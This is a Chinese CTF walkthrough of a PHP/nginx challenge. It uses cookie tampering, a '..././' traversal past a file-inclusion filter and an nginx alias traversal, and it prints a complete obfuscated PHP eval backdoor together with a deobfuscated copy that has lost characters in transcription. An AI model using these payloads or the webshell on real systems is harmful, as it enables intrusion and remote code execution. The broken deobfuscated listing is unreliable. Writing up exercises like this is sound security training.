攻防世界web Web_php_wrong_nginx_config

打开场景

提醒登录

我们直接admin/admin试试

提示网站建设中。。。。

那我们看看有没有robots.txt

还真有,robots.txt给出了两个页面hint.php  和 Hack.php  

打开hint.php看看

给了个提示

/etc/nginx/sites-enabled/site.conf  这个文件可能有问题,但是这个文件是/etc下面的文件 那多半有什么 文件包含 ../ 这东西

继续看Hack.php

提示登录,然后回到Login.php

 既然是 Hack.php  那这个页面应该有东西才对

我们抓包看看

cookie中有个 isLogin 那这个参数应该就是判断我们是否登录的凭证 ,  我们试试把isLogin改为1

放包

 继续改为1 放包

来到这个页面  

之前想到 有个配置文件有问题  可能是 ../ 这种的文件包含 我们去找可能会出现这种漏洞的url地址

在管理中心这里 ,抓到包  我们放包继续看

在点击管理中心之后的第二个包,发现 /admin/admin.php?file=index&ext=php 这里有个file 这里多半是文件包含的地点了

在这个地方 我怎么测试都没有出来

可能是过滤了 ../  那我们测试一下

/admin/admin.php?file=i../ndex&ext=php

/admin/admin.php?file=i./ndex&ext=php

i../ndex 就出现 please continue

i./ndex 就没有出现

 那就是过滤了 ../

我们考虑使用 ..././ 来绕过

/admin/admin.php?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=

得到配置文件

整理一下

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
  set $year $1;
  set $month $2;
  set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

  set $http_x_forwarded_for_filt $http_x_forwarded_for;
  if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
          set $http_x_forwarded_for_filt $1???;
  }

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
  # First attempt to serve request as file, then
  # as directory, then fall back to index.html
  try_files $uri $uri/ /index.php?q=$uri&$args;
  server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
  root /usr/share/nginx/html;
}
location ~ \.php$ {
  try_files $uri $uri/ /index.php?q=$uri&$args;
  fastcgi_split_path_info ^(.+\.php)(/.+)$;
  fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
  fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
  fastcgi_param SCRIPT_NAME $fastcgi_script_name;
  fastcgi_index index.php;
  include fastcgi_params;
  fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
      log_not_found off;
      deny all;
}
location /web-img {
  alias /images/;
  autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {  
    deny all;  
}  

include /var/www/nginx[.]conf;

}

观察配置文件 发现 

 

 

location /web-img {
   alias /images/;
   autoindex on;
}

这个地方可以进行文件遍历

直接访问 /web-img/

使用 /web-img../ 遍历 /

查找对我们有用的东西

在 web目录  /var/www/下有个 hack.php.bak文件 是hack.php的备份

我们打开hack.php.bak 

整理得到

<?php $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle'; $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui'; $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$'; $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r'; $k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s'; $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r'; $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/'; $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}'; $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<'; $R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion'); $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$'; $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U('; $f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C); $g=create_function('',$f); $g(); ?>

这好像是混淆之后的php吧

我们输出$f

看看

得到

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$
SESSION;
$ss="substr";
$sl="strtolower";
$i=$m1.$m1;
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

经过提示 这个是个后门

网上有利用脚本 https://www.cnblogs.com/go2bed/p/5920811.html  一个PHP混淆后门的分析

按提示修改脚本中的config部分

保存运行

这样就可以执行 php的代码

使用  system("ls") ; 查看当前目录

查看 fllla4aggg.php

system("cat fllla4aggg.php");

得到flag

 

猜你喜欢

转载自www.cnblogs.com/zhangzhijie98/p/13196182.html
今日推荐